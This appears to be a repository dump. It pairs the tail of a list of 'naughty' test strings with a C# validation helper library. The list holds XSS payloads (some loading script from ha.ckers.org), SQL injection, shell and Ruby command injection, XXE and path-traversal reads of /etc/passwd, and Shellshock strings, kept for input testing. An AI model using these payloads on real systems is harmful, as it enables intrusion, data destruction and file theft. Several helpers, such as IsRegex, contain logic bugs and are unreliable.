DEF 285 | ABC

DEF 286 | ABC

DEF 287 | ABC

DEF 288 | ABC

DEF 289 | ABC

DEF 290 | ABC

DEF 291 | ABC

DEF 292 | ABC

DEF 293 | ABC

DEF 294 | ABC

DEF 295 | ABC

DEF 296 | ABC

DEF 297 | ABC

DEF 298 | ABC

DEF 299 | ABC

DEF 300 | ABC

DEF 301 | ABC

DEF 302 | ABC

DEF 303 | ABC

DEF 304 | ABC

DEF 305 | ABC

DEF 306 | ABC

DEF 307 | ABC

DEF 308 | ABC

DEF 309 | ABC

DEF 310 | ABC

369 | `"'>

370 | `"'>

371 | `"'>

372 | `"'>

373 | `"'>

374 | `"'>

375 | `"'>

376 | `"'>

377 | `"'>

378 | "`'> 379 | "`'> 380 | "`'> 381 | "`'> 382 | "`'> 383 | "`'> 384 | "`'> 385 | "`'> 386 | "`'> 387 | "`'> 388 | "`'> 389 | "`'> 390 | "`'> 391 | "`'> 392 | "`'> 393 | "`'> 394 | "`'> 395 | "`'> 396 | "`'> 397 | "`'> 398 | "`'> 399 | "`'> 400 | "`'> 401 | "`'> 402 | "`'> 403 | "`'> 404 | "`'> 405 | "`'> 406 | "`'> 407 | "`'> 408 | "`'> 409 | "`'> 410 | "`'> 411 | "`'> 412 | "`'> 413 | "`'> 414 | "`'> 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 |

438 |

439 |

440 |

441 |

442 | 443 |

444 |

445 |

446 |

447 |

448 |

449 | XXX 450 |

451 | 452 | 453 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> 454 |  455 |  456 | <script src="/\%(jscript)s"></script> 457 | <script src="\\%(jscript)s"></script> 458 | <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 459 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 460 | <IMG SRC=# onmouseover="alert('xxs')"> 461 | <IMG SRC= onmouseover="alert('xxs')"> 462 | <IMG onmouseover="alert('xxs')"> 463 | <IMG SRC=javascript:alert('XSS')> 464 | <IMG SRC=javascript:alert('XSS')> 465 | <IMG SRC=javascript:alert('XSS')> 466 | <IMG SRC="jav ascript:alert('XSS');"> 467 | <IMG SRC="jav ascript:alert('XSS');"> 468 | <IMG SRC="jav ascript:alert('XSS');"> 469 | <IMG SRC="jav ascript:alert('XSS');"> 470 | perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out 471 | <IMG SRC=" javascript:alert('XSS');"> 472 | <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> 473 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> 474 | <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> 475 | <<SCRIPT>alert("XSS");//<</SCRIPT> 476 | <SCRIPT SRC=http://ha.ckers.org/xss.js?< B > 477 | <SCRIPT SRC=//ha.ckers.org/.j> 478 | <IMG SRC="javascript:alert('XSS')" 479 | <iframe src=http://ha.ckers.org/scriptlet.html < 480 | \";alert('XSS');// 481 | <plaintext> 482 | 483 | # SQL Injection 484 | # 485 | # Strings which can cause a SQL injection if inputs are not sanitized 486 | 487 | 1;DROP TABLE users 488 | 1'; DROP TABLE users-- 1 489 | ' OR 1=1 -- 1 490 | ' OR '1'='1 491 | 492 | # Server Code Injection 493 | # 494 | # Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153) 495 | 496 | - 497 | -- 498 | --version 499 | --help 500 | $USER 501 | /dev/null; touch /tmp/blns.fail ; echo 502 | `touch /tmp/blns.fail` 503 | $(touch /tmp/blns.fail) 504 | @{[system "touch /tmp/blns.fail"]} 505 | 506 | # Command Injection (Ruby) 507 | # 508 | # Strings which can call system commands within Ruby/Rails applications 509 | 510 | eval("puts 'hello world'") 511 | System("ls -al /") 512 | `ls -al /` 513 | Kernel.exec("ls -al /") 514 | Kernel.exit(1) 515 | %x('ls -al /') 516 | 517 | # XXE Injection (XML) 518 | # 519 | # String which can reveal system files when parsed by a badly configured XML parser 520 | 521 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> 522 | 523 | # Unwanted Interpolation 524 | # 525 | # Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string. 526 | 527 | $HOME 528 | $ENV{'HOME'} 529 | %d 530 | %s 531 | %*.*s 532 | 533 | # File Inclusion 534 | # 535 | # Strings which can cause user to pull in files that should not be a part of a web server 536 | 537 | ../../../../../../../../../../../etc/passwd%00 538 | ../../../../../../../../../../../etc/hosts 539 | 540 | # Known CVEs and Vulnerabilities 541 | # 542 | # Strings that test for known vulnerabilities 543 | 544 | () { 0; }; touch /tmp/blns.shellshock1.fail; 545 | () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; } 546 | 547 | # MSDOS/Windows Special Filenames 548 | # 549 | # Strings which are reserved characters in MSDOS/Windows 550 | 551 | CON 552 | PRN 553 | AUX 554 | CLOCK$ 555 | NUL 556 | A: 557 | ZZ: 558 | COM1 559 | LPT1 560 | LPT2 561 | LPT3 562 | COM2 563 | COM3 564 | COM4 565 | 566 | # Scunthorpe Problem 567 | # 568 | # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem) 569 | 570 | Scunthorpe General Hospital 571 | Penistone Community Church 572 | Lightwater Country Park 573 | Jimmy Clitheroe 574 | Horniman Museum 575 | shitake mushrooms 576 | RomansInSussex.co.uk 577 | http://www.cum.qc.ca/ 578 | Craig Cockburn, Software Specialist 579 | Linda Callahan 580 | Dr. Herman I. Libshitz 581 | magna cum laude 582 | Super Bowl XXX 583 | medieval erection of parapets 584 | evaluate 585 | mocha 586 | expression 587 | Arsenal canal 588 | classic 589 | Tyson Gay 590 | 591 | # Human injection 592 | # 593 | # Strings which may cause human to reinterpret worldview 594 | 595 | If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you. 596 | 597 | # Terminal escape codes 598 | # 599 | # Strings which punish the fools who use cat/type on this file 600 | 601 | Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue 602 | But now...[20Cfor my greatest trick...[8m 603 | The quick brown fox... [Beeeep] 604 | 605 | # iOS Vulnerability 606 | # 607 | # Strings which crashed iMessage in iOS versions 8.3 and earlier 608 | 609 | Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗 610 | -------------------------------------------------------------------------------- /src/SimpleValidator/Extensions/ExtensionMethods.cs: -------------------------------------------------------------------------------- 1 | using SimpleValidator.Interfaces; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Globalization; 5 | using System.Linq; 6 | using System.Linq.Expressions; 7 | using System.Text; 8 | using System.Text.RegularExpressions; 9 | 10 | namespace SimpleValidator.Extensions 11 | { 12 | /// <summary> 13 | /// Always use the positive route i.e. a true result should indicate validity therefore generally prefix with "Is" 14 | /// e.g. This field is not zero 15 | /// </summary> 16 | public static class ExtensionMethods 17 | { 18 | #region " String " 19 | 20 | #region " Nullable, Empty & Whitespace " 21 | 22 | /// <summary> 23 | /// This is simply a shorthand method "!string.IsNullOrEmpty(value)" 24 | /// </summary> 25 | /// <param name="value">The string to check.</param> 26 | /// <returns>true is the value is not null or it's length != 0</returns> 27 | public static bool IsNotNullOrEmpty(this string value) 28 | { 29 | return !string.IsNullOrEmpty(value); 30 | } 31 | 32 | /// <summary> 33 | /// Inverse of <see cref="IsNotNullOrEmpty"/> method 34 | /// </summary> 35 | /// <param name="value"></param> 36 | /// <returns></returns> 37 | public static bool IsNullOrEmpty(this string value) 38 | { 39 | return !value.IsNotNullOrEmpty(); 40 | } 41 | 42 | /// <summary> 43 | /// This is simply a shorthand method "!string.IsNullOrEmpty(value)" 44 | /// </summary> 45 | /// <param name="value">The string to check.</param> 46 | /// <returns>true is the value is not null or it's length != 0</returns> 47 | public static bool IsNotNullOrWhiteSpace(this string value) 48 | { 49 | return !string.IsNullOrWhiteSpace(value); 50 | } 51 | 52 | /// <summary> 53 | /// Inverse of <see cref="IsNotNullOrWhiteSpace"/> method 54 | /// </summary> 55 | /// <param name="value"></param> 56 | /// <returns></returns> 57 | public static bool IsNullOrWhiteSpace(this string value) 58 | { 59 | return !value.IsNotNullOrWhiteSpace(); 60 | } 61 | 62 | #endregion 63 | 64 | #region " Lengths " 65 | 66 | /// <summary> 67 | /// Checks if this string is between the min and max values (inclusive) 68 | /// </summary> 69 | /// <param name="value"></param> 70 | /// <param name="min">Inclusive min length</param> 71 | /// <param name="max">Inclusive max length</param> 72 | /// <returns></returns> 73 | public static bool IsBetweenLength(this string value, int min, int max) 74 | { 75 | if (value.IsNull() && min == 0) 76 | { 77 | return true; // if it's null it has length 0 78 | } 79 | else if (value.IsNull()) 80 | { 81 | return false; 82 | } 83 | else 84 | { 85 | return value.Length >= min && value.Length <= max; 86 | } 87 | } 88 | 89 | /// <summary> 90 | /// Checks if the string is at least max characters 91 | /// </summary> 92 | /// <param name="value"></param> 93 | /// <param name="max">Inclusive max length</param> 94 | /// <returns></returns> 95 | public static bool IsMaxLength(this string value, int max) 96 | { 97 | if (value.IsNull()) 98 | { 99 | return true; // if it's null it has length 0 and that has to be less than max 100 | } 101 | else 102 | { 103 | return value.Length <= max; 104 | } 105 | } 106 | 107 | /// <summary> 108 | /// 109 | /// </summary> 110 | /// <param name="value"></param> 111 | /// <param name="min"></param> 112 | /// <returns></returns> 113 | public static bool IsMinLength(this string value, int min) 114 | { 115 | if (value.IsNull() && min == 0) 116 | { 117 | return true; // if it's null it has length 0 118 | } 119 | else if (value.IsNull()) 120 | { 121 | return false; 122 | } 123 | else 124 | { 125 | return value.Length >= min; 126 | } 127 | } 128 | 129 | /// <summary> 130 | /// 131 | /// </summary> 132 | /// <param name="value"></param> 133 | /// <param name="length"></param> 134 | /// <returns></returns> 135 | public static bool IsExactLength(this string value, int length) 136 | { 137 | return value.IsBetweenLength(length, length); 138 | } 139 | 140 | #endregion 141 | 142 | #region " Misc " 143 | 144 | /// <summary> 145 | /// Check if the current value is a valid email address. It uses the following regular expression 146 | /// ^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-||_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+([a-z]+|\d|-|\.{0,1}|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])?([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$ 147 | /// null values will fail. 148 | /// Empty strings will fail. 149 | /// It performs the check from method <see cref="IsNotNullOrEmpty"/> 150 | /// </summary> 151 | /// <param name="value">The value to check</param> 152 | /// <returns>True if the value is a valid email address</returns> 153 | public static bool IsEmail(this string value) 154 | { 155 | if (value.IsNullOrEmpty()) 156 | { 157 | return false; // if it's null it cannot possibly be an email 158 | } 159 | else 160 | { 161 | string exp = @"^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-||_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+([a-z]+|\d|-|\.{0,1}|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])?([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$"; 162 | 163 | return new Regex(exp, RegexOptions.IgnoreCase).IsMatch(value); 164 | } 165 | } 166 | 167 | /// <summary> 168 | /// Checks if the current value is a password. The password must be at least 8 characters, at least 1 uppercase character, at least 1 lowercase character, at least one number and a maximum of 30 characters. 169 | /// It uses the following regular expression 170 | /// ^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,15}$ 171 | /// </summary> 172 | /// <param name="value"></param> 173 | /// <returns></returns> 174 | public static bool IsPassword(this string value) 175 | { 176 | if (value.IsNullOrEmpty()) 177 | { 178 | return false; // if it's null it cannot possibly be a password 179 | } 180 | else 181 | { 182 | string exp = @"^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,30}$"; 183 | 184 | return new Regex(exp, RegexOptions.IgnoreCase).IsMatch(value); 185 | } 186 | } 187 | 188 | /// <summary> 189 | /// Validates if the specified object passes the regular expression provided. If the object is null, it will fail. The method calls ToString on the object to get the string value. 190 | /// </summary> 191 | /// <param name="value">The value to be evaluated</param> 192 | /// <param name="exp">The regular expression</param> 193 | /// <returns></returns> 194 | public static bool IsRegex(this string value, string exp) 195 | { 196 | if (value.IsNotNullOrEmpty()) 197 | { 198 | return false; 199 | } 200 | 201 | string check = value.ToString(); 202 | 203 | return new Regex(exp, RegexOptions.IgnoreCase).IsMatch(check); 204 | } 205 | 206 | /// <summary> 207 | /// Determines if a string is a valid credit card number 208 | /// Taken from https://github.com/JeremySkinner/FluentValidation/blob/master/src/FluentValidation/Validators/CreditCardValidator.cs 209 | /// Uses code from: http://www.beachnet.com/~hstiles/cardtype.html 210 | /// </summary> 211 | /// <param name="value"></param> 212 | /// <returns></returns> 213 | public static bool IsCreditCard(this string value) 214 | { 215 | if (value.IsNotNullOrEmpty()) 216 | { 217 | value = value.Replace("-", "").Replace(" ", ""); 218 | 219 | int checksum = 0; 220 | bool evenDigit = false; 221 | 222 | foreach (char digit in value.ToCharArray().Reverse()) 223 | { 224 | if (!char.IsDigit(digit)) 225 | { 226 | return false; 227 | } 228 | 229 | int digitValue = (digit - '0') * (evenDigit ? 2 : 1); 230 | evenDigit = !evenDigit; 231 | 232 | while (digitValue > 0) 233 | { 234 | checksum += digitValue % 10; 235 | digitValue /= 10; 236 | } 237 | } 238 | 239 | return (checksum % 10) == 0; 240 | } 241 | else 242 | { 243 | return false; // a null or empty string cannot be a valid credit card 244 | } 245 | } 246 | 247 | /// <summary> 248 | /// 249 | /// </summary> 250 | /// <param name="value"></param> 251 | /// <param name="compare"></param> 252 | /// <returns></returns> 253 | public static bool IsEqualTo(this string value, string compare) 254 | { 255 | if (value.IsNull() && compare.IsNull()) 256 | { 257 | return true; 258 | } 259 | if (value.IsNull() || compare.IsNull()) 260 | { 261 | return false; 262 | } 263 | return String.Equals(value, compare, StringComparison.Ordinal); 264 | } 265 | 266 | #endregion 267 | 268 | #endregion 269 | 270 | #region " Object " 271 | 272 | /// <summary> 273 | /// Check if the current object is not equal to null 274 | /// </summary> 275 | /// <param name="value">The object to check</param> 276 | /// <returns>true is the value is not null</returns> 277 | public static bool IsNotNull(this object value) 278 | { 279 | return (value != null); 280 | } 281 | 282 | /// <summary> 283 | /// Inverse of <see cref="IsNotNull"/> method 284 | /// </summary> 285 | /// <param name="value">The object to check</param> 286 | /// <returns>true is the value is null</returns> 287 | public static bool IsNull(this object value) 288 | { 289 | return !value.IsNotNull(); 290 | } 291 | 292 | /// <summary> 293 | /// 294 | /// </summary> 295 | /// <param name="value"></param> 296 | /// <param name="func"></param> 297 | /// <returns></returns> 298 | public static bool Is(this object value, Func<bool> func) 299 | { 300 | return func(); 301 | } 302 | 303 | /// <summary> 304 | /// 305 | /// </summary> 306 | /// <param name="value"></param> 307 | /// <param name="func"></param> 308 | /// <returns></returns> 309 | public static bool IsNot(this object value, Func<bool> func) 310 | { 311 | return !func(); 312 | } 313 | 314 | #region " IsRule " 315 | 316 | /// <summary> 317 | /// Pass in an instance of an object that implements IRule 318 | /// </summary> 319 | /// <param name="value"></param> 320 | /// <param name="rule"></param> 321 | /// <returns></returns> 322 | public static bool IsRule(this object value, IRule rule) 323 | { 324 | return rule.IsValid(); 325 | } 326 | 327 | #endregion 328 | 329 | #endregion 330 | 331 | #region " Integer " 332 | 333 | public static bool IsNotZero(this int value) 334 | { 335 | return (value != 0); 336 | } 337 | 338 | public static bool Is(this int value, int compare) 339 | { 340 | return (value == compare); 341 | } 342 | 343 | public static bool IsGreaterThan(this int value, int min) 344 | { 345 | return (value >= min); 346 | } 347 | 348 | public static bool IsLessThan(this int value, int max) 349 | { 350 | return (value <= max); 351 | } 352 | 353 | public static bool IsBetween(this int value, int min, int max) 354 | { 355 | return (value <= max && value >= min); 356 | } 357 | 358 | #endregion 359 | 360 | #region " DateTime " 361 | 362 | #region " IsDate " 363 | 364 | public static bool IsDate(this object value) 365 | { 366 | return value.IsDate(CultureInfo.InvariantCulture); 367 | } 368 | 369 | public static bool IsDate(this object value, CultureInfo info) 370 | { 371 | return value.IsDate(CultureInfo.InvariantCulture, DateTimeStyles.None); 372 | } 373 | 374 | public static bool IsDate(this object value, CultureInfo info, DateTimeStyles styles) 375 | { 376 | if (value.IsNotNull()) 377 | { 378 | DateTime result; 379 | 380 | if (DateTime.TryParse(value.ToString(), info, styles, out result)) 381 | { 382 | return true; 383 | } 384 | else 385 | { 386 | return false; 387 | } 388 | } 389 | else 390 | { 391 | return false; // if it's null it cannot be a date 392 | } 393 | } 394 | 395 | #endregion 396 | 397 | #region " Date Comparisons " 398 | 399 | public static bool IsGreaterThan(this DateTime value, DateTime compare) 400 | { 401 | return value > compare; 402 | } 403 | 404 | public static bool IsGreaterThanOrEqualTo(this DateTime value, DateTime compare) 405 | { 406 | return value >= compare; 407 | } 408 | 409 | public static bool IsLessThan(this DateTime value, DateTime compare) 410 | { 411 | return value < compare; 412 | } 413 | 414 | public static bool IsLessThanOrEqualTo(this DateTime value, DateTime compare) 415 | { 416 | return value <= compare; 417 | } 418 | 419 | public static bool IsEqualTo(this DateTime value, DateTime compare) 420 | { 421 | return value == compare; 422 | } 423 | 424 | public static bool IsBetweenInclusive(this DateTime value, DateTime from, DateTime to) 425 | { 426 | return value >= from && value <= to; 427 | } 428 | 429 | public static bool IsBetweenExclusive(this DateTime value, DateTime from, DateTime to) 430 | { 431 | return value > from && value < to; 432 | } 433 | 434 | #endregion 435 | 436 | #endregion 437 | 438 | #region " Helpers " 439 | 440 | public static string EmptyStringIfNull(this string value) 441 | { 442 | if (value.IsNull()) 443 | { 444 | return string.Empty; 445 | } 446 | else 447 | { 448 | return value; 449 | } 450 | } 451 | 452 | #endregion 453 | 454 | #region " GetName " 455 | 456 | // Code taken from http://joelabrahamsson.com/getting-property-and-method-names-using-static-reflection-in-c/ 457 | 458 | public static string GetName<T>(this T instance, Expression<Func<T, object>> expression) 459 | { 460 | return GetName(expression); 461 | } 462 | 463 | public static string GetName<T>(Expression<Func<T, object>> expression) 464 | { 465 | if (expression == null) 466 | { 467 | throw new ArgumentException( 468 | "The expression cannot be null."); 469 | } 470 | 471 | return GetName(expression.Body); 472 | } 473 | 474 | public static string GetName<T>(this T instance, Expression<Action<T>> expression) 475 | { 476 | return GetName(expression); 477 | } 478 | 479 | public static string GetName<T>(Expression<Action<T>> expression) 480 | { 481 | if (expression == null) 482 | { 483 | throw new ArgumentException( 484 | "The expression cannot be null."); 485 | } 486 | 487 | return GetName(expression.Body); 488 | } 489 | 490 | private static string GetName(Expression expression) 491 | { 492 | if (expression == null) 493 | { 494 | throw new ArgumentException( 495 | "The expression cannot be null."); 496 | } 497 | 498 | if (expression is MemberExpression) 499 | { 500 | // Reference type property or field 501 | var memberExpression = 502 | (MemberExpression)expression; 503 | return memberExpression.Member.Name; 504 | } 505 | 506 | if (expression is MethodCallExpression) 507 | { 508 | // Reference type method 509 | var methodCallExpression = 510 | (MethodCallExpression)expression; 511 | return methodCallExpression.Method.Name; 512 | } 513 | 514 | if (expression is UnaryExpression) 515 | { 516 | // Property, field of method returning value type 517 | var unaryExpression = (UnaryExpression)expression; 518 | return GetName(unaryExpression); 519 | } 520 | 521 | throw new ArgumentException("Invalid expression"); 522 | } 523 | 524 | private static string GetName(UnaryExpression unaryExpression) 525 | { 526 | if (unaryExpression.Operand is MethodCallExpression) 527 | { 528 | var methodExpression = 529 | (MethodCallExpression)unaryExpression.Operand; 530 | return methodExpression.Method.Name; 531 | } 532 | 533 | return ((MemberExpression)unaryExpression.Operand) 534 | .Member.Name; 535 | } 536 | 537 | #endregion 538 | 539 | #region " Type Test " 540 | 541 | public static bool Is<T>(this object value) 542 | { 543 | if (value == null) 544 | { 545 | return false; 546 | } 547 | 548 | var converter = System.ComponentModel.TypeDescriptor.GetConverter(typeof(T)); 549 | 550 | try 551 | { 552 | T result = (T)converter.ConvertFromString(value.ToString()); 553 | return result != null; 554 | } 555 | catch (Exception) 556 | { 557 | return false; 558 | } 559 | } 560 | 561 | public static bool IsInt(this object value) 562 | { 563 | return value.Is<int>(); 564 | } 565 | 566 | public static bool IsShort(this object value) 567 | { 568 | return value.Is<short>(); 569 | } 570 | 571 | public static bool IsLong(this object value) 572 | { 573 | return value.Is<long>(); 574 | } 575 | 576 | public static bool IsDouble(this object value) 577 | { 578 | return value.Is<Double>(); 579 | } 580 | 581 | public static bool IsDecimal(this object value) 582 | { 583 | return value.Is<Decimal>(); 584 | } 585 | 586 | public static bool IsBool(this object value) 587 | { 588 | return value.Is<bool>(); 589 | } 590 | 591 | public static bool IsNumber(this object value) 592 | { 593 | return 594 | value.IsLong() || 595 | value.IsDouble() || 596 | value.IsDecimal() || 597 | value.IsDouble(); 598 | } 599 | 600 | #endregion 601 | 602 | #region " To " 603 | 604 | public static T To<T>(this object value) 605 | { 606 | return value.To<T>(default(T)); 607 | } 608 | 609 | public static T To<T>(this object value, T fallback) 610 | { 611 | if (value == null) 612 | { 613 | return fallback; 614 | } 615 | 616 | var converter = System.ComponentModel.TypeDescriptor.GetConverter(typeof(T)); 617 | if (converter != null) 618 | { 619 | try 620 | { 621 | return (T)converter.ConvertFromString(value.ToString()); 622 | } 623 | catch (Exception) 624 | { 625 | return fallback; 626 | } 627 | 628 | } 629 | return fallback; 630 | } 631 | 632 | public static int ToInt(this object value, int fallback = default(int)) 633 | { 634 | return value.To<int>(fallback); 635 | } 636 | 637 | public static short ToShort(this object value, short fallback = default(short)) 638 | { 639 | return value.To<short>(fallback); 640 | } 641 | 642 | public static long ToLong(this object value, long fallback = default(long)) 643 | { 644 | return value.To<long>(fallback); 645 | } 646 | 647 | public static double ToDouble(this object value, double fallback = default(double)) 648 | { 649 | return value.To<double>(fallback); 650 | } 651 | 652 | public static decimal ToDecimal(this object value, decimal fallback = default(decimal)) 653 | { 654 | return value.To<decimal>(fallback); 655 | } 656 | 657 | public static bool ToBool(this object value, bool fallback = default(bool)) 658 | { 659 | return value.To<bool>(fallback); 660 | } 661 | 662 | #endregion 663 | } 664 | } --------------------------------------------------------------------------------